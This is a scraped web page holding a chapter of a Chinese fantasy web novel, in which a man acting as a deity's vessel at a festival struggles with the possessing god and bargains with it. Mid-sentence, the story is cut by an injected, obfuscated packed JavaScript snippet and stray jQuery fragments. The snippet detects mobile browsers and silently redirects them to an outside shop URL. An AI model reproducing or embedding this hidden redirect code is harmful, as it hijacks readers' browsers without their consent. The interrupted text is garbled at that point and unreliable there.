文趣网 > 其他小说 > 起点男主睁眼变成男妾后 > 10. 第 10 章
    秦大的脸通红,眼睛盯住花束,手颤抖着抱住花。

    在圆月之夜,钟情的男女会互相赠送花束表达心意,可是他现在没有花。

    秦大着急的想冲出去找花,来回馈白谈生,可是这束花这么好看,他必须找到比它更好看的才有脸面送出去。

    “很好看,我好喜欢。”秦大转头眼睛里亮亮的。

    白谈生手轻轻搭在秦大的头上,柔软的发丝包住他的手,“喜欢就好。”

    指导秦大写了几个字,嘱咐他注意观察字体的结构,白谈生就将秦大赶出去准备睡觉了。

    秦大一整个晚上盯着那花束翻来覆去,想着该送白谈生什么样的花,想他摘花的样子。

    第二日白谈生早早就起床了,毕竟作为神使大庆他要提前装扮,小升的母亲也在忙着庆典无法再来帮忙。

    只是没想到的是秦大在他醒来没多久也来敲响了他的门。

    穿好神使装,白谈生坐在梳妆镜前,柔软的发丝在秦大手中流转,很快就挽成了选拔那天的样式。

    随后秦大拿出自己晚上编的花环,轻轻戴在白谈生头顶“好了。”

    天蒙蒙亮白谈生就来到了泽君庙,先由主持祭祀的祭司向泽君行礼,随即让白谈生跪在代表泽君的树下,举行法事。

    火把将白谈生的脸照的柔和,像虔诚的信徒,没有人不为这一幕动人。

    甚至有人下意识轻微张嘴,随即意识到这里是祭祀,只默默想,真是天选的神使啊,泽神君也一定很喜欢这个神使吧。

    古老晦涩的咒语念诵声响起,白谈生被密密麻麻的唱诵声包裹住,他按照流程闭上眼。

    一炷香后祭司率先停下,拿过一碟朱砂,毛笔轻点在白谈生眉心。

    象征着这一刻起,泽君可以降临在白谈生身上。

    额头上的凉意离开,白谈生睁开眼,立刻就有一种被注视的感觉,仿佛有什么东西压在他的头上。

    知道自己和泽君的前怨,白谈生神色不变,一脸虔诚的对着那颗银杏树上香。

    降神法事结束后,白谈生被秦大扶着上了轿子,轿子布置的美轮美奂,四周是白色的轻纱,轿顶上插满白黄相间的鲜花。

    轿子被十八个人合力抬起,透过白纱,白谈生在轿子上看见两旁的花童时不时向两旁洒下花瓣。

    “泽君降世,土反其宅,水归其壑,昆虫毋作,草木归其泽……”

    轿子平稳的游行了很久,大约走过了十来个村庄又回到银杏树下,沿路洒下的花瓣跨过几十里形成一个包围。

    有人跪在轿子前,恭恭敬敬的朝着轿子叩头“恭请泽君下轿!”

    白谈生感到脚下一空,漂浮起来,身体自己起来了,他低头望去,脚下是浮空的一片。

    很快低下的头被一股力抬起,瞳孔下意识放大,第一次体会到神力。

    心口来到这里第一次加速,白谈生轻轻张口呼吸,手不自觉的发抖。

    他看着自己的手撩起纱帘,背后一阵恶寒,拼尽全力他尝试勾了勾小指。

    于是撩起纱帘的手也勾起,又马上自然起来。

    他还能掌控自己的身体,只是马上会被附身的泽君矫正……

    眼前一亮,本就跪着的人们见他出来立刻又叩首“拜见泽神君!”

    秦大站在第一排看着那张脸上陌生的表情,心下意识的涌上厌恶的情绪很快又被压下。

    那张脸还是那么美,却让秦大只想抓住他的衣领把自己的寨夫人还回来。

    人群的外层,宋沙看着轿子上的人“正神也不过如此。”看着那表情就腻味,可是这是贵人的身体。

    泽君下轿,走上祭台。

    闭眼却是哀鸿遍野,一幕幕穿过,白谈生从泽君的眼里看见了将亲人换取吃食的人,相依为命的人,骷髅似的人。

    随后是在巍峨的皇城下战战兢兢谋权的人,被杀的人,杀人的人,朝令夕改,税务重重。

    “如今天下大乱,田地不产,又有幽火烧堂!请泽君指示”

    白谈生知道泽君要说什么了,但不行。

    头脑一阵刺痛,连带这五脏六腑也在翻滚,四肢感觉也糅杂成一团,秦大看着祭台上的人眼神变化,唇瓣无意识的张合。

    “有臣司寇氏,紊王章,蔽明堂。赤乌焚其室,五谷瘁于疆。弗可禳,禳必胜。明德在东,其道大光。”

    祭台上的人眼神冰冷,肃穆光辉。

    低下跪着的信徒听见神谕,心中都在思索这是什么意思,没有人敢开口问。

    白谈生没能掌控多久,很快身体的主动权便又被夺取。

    泽君回到身体先感受到的是因他而带来的痛苦余韵,他身化此间,除去已开灵智的人一切风,叶,土壤,石块都是他的眼睛。

    他看得见这人夺取控制权那一刻的坚决,为什么?他已经给这人看见了这世间的样子。

    这世间已经变得污浊,他的土壤,矿物,花草都被这些人搞得一团糟。

    混沌的意识海里白谈生听见泽君的声音“消灭这些在我身体上捣乱的人,我会让你回去。”

    “人现在是无法被消灭的,既然你不希望人存在,在人还弱小的什么时候为什么不杀死?”

    泽君在初期应该就和天意没有区别,人类太弱小都不用他刻意去管,投去一眼都足以带来剧震。

    “因为你以为人类和你化成的万物没有差别,你的力量是被什么削弱的?”

    顷刻间天色骤变,祭台上的“白谈生”面色阴沉,跪拜的信徒抬头都不敢了,闭眼齐声道“泽神君息怒——”

    这个从异界来得人倒是胆大“你敢渎神?就算力量被削弱我也可以碾死你,不过我不想追究还有用的人。”

    白谈生置若罔闻“人怎么能忍受凌驾于自己,随时控制生死的东西,”

    泽君不止可以让人类死去,还可以控制作物丰茂,兽潮涌动。

    “你是被人慢慢削弱的吧,被帝王,百姓,我还不知道怎么做到,但百分百了。”

    人就是顽强而聪慧,无法忍受不确定,所以克服天灾,猛兽。

    哪怕太阳系崩溃也会拼尽全力求生,所以有了星系银河文明。

    “你真的成为神了吗?”白谈生有了个猜想,这个猜想如果是真的,他回家的路就明了了。

    清晰的咋舌声,泽君明显不耐“你比前几个暗害我的人类还要难缠。”

    无法达成共识就只能是敌人了。

    反正这只是分神而已,在这天还有无数个地方在举办庆典,他还可以在不同的地方传达他的意思。

    “泽君,不要让人间变成血海,人很快就会回到最初的样子,我保证你的作物会长满,信仰你的庙宇会遍布。”

    会同意人信仰他,还真实降下过福祉,无论出于什么目

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626739|206275||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的他应该享受被信仰的感觉。

    “只要五年,五年对你来说短的只是一刻。”

    祭台上平稳庄严的身体内部一片混乱,白谈生的灵体被泽君抛来抛去的玩。

    “是很短,可是我为什么要答应?我能得到什么?”

    白谈生回忆未来的教堂,泽君也能感同身受的看到“我会想办法建一个和这个一样宏大的庙堂供奉你。”

    泽君承认这建筑很好看,可是不够打动他,他现在完全掌握主动权,这小人就应该使尽浑身解数讨好他。

    毕竟还把他的神像烧了,虽然是不太满意的神像,果然还是很不爽啊。

    “……只要你想要的,这个世界我能做到的都能给你。”

    泽君窥探他一明如洗的灵魂,“你的能力边界是很宽广呢,五年后如果不能让我满意,你要成为我的奴仆。”

    真是狡猾,只要泽君还不肯放过白谈生,他就可以说自己不满意,简直就是霸王条款。

    但白谈生还是同意了。

    泽君走前的笑声还回荡在白谈生脑海,祭台上白谈生已经无力的跪坐下去。

    秦大挥开拦路的祭司和信徒上前抱起白谈生,一直以来优雅精贵的人现在在他怀里发抖。

    “不是正神吗?这是怎么回事?!”祭司被秦大凶狠的表情吓得一怔,愣愣道“这,泽神君不会伤害神使的,史无前例,一定是有什么误会……”

    “误会?什么误会?!还……”抱着人的那只手被轻轻拉住,后颈被按住,秦大跟着力道低头。

    “我没事,只是仪式结束后透支了,”说着白谈生转头看向祭司“请祭司送神吧。”他确实没事,只是和泽君在身体里大闹一通后免不了的后遗症。

    祭司确认了白谈生没什么事之后取来一个白瓷瓶,边念诵边用白瓷瓶中的水擦去白谈生额头的朱砂。

    “你的朋友很担心你,竟然不惜渎神,我很担心他的信仰。”祭司对白谈生说,还瞪了秦大一眼。

    白谈生不赞同的看秦大,转头对祭司道“我知道了,会好好教导他的,怎么如此不敬重。”

    秦大刚想反驳,宋沙拨开人群走上前来。

    “老大,白先生似乎很累,先带他回去吧。”秦大不再说什么,抱着白谈生离开,宋沙跟在离他身后。

    离开人群就有一顶轿子停着,宋沙上前道“请上轿吧。”

    秦大这辈子没坐过这精细玩意儿,但怀里的人估计更习惯这个。想着他回头看着宋沙“做得不错,回去记得领赏。”

    进入轿子,里面竟然有个软榻,秦大震惊了一下宋沙的细心,自己这个手下以前只以为是聪明些,竟也细心至此。

    把白谈生放上榻,秦大自然的拿起一旁的蒲扇给他扇风,但白谈生稍有些力气就支起身来。

    “谢谢你,不过我现在有事情要处理,你先出去,把宋沙叫进来。”

    秦大没想到这人起来第一句是这个,自己看人家不舒坦第一时间冲上去,人家倒好……

    他想硬气的说一句老子不去,可这人似乎天然适合发号施令,到现在他想反抗都无力,觉得无论是他还是谁,都应该竭力讨好这人,让他高兴。

    而被讨好的对象也十分适应。

    宋沙知道白谈生叫自己就知道怎么回事了,终于有机会给贵人献媚,他不免兴奋地撩开帘子。

    “白军师。”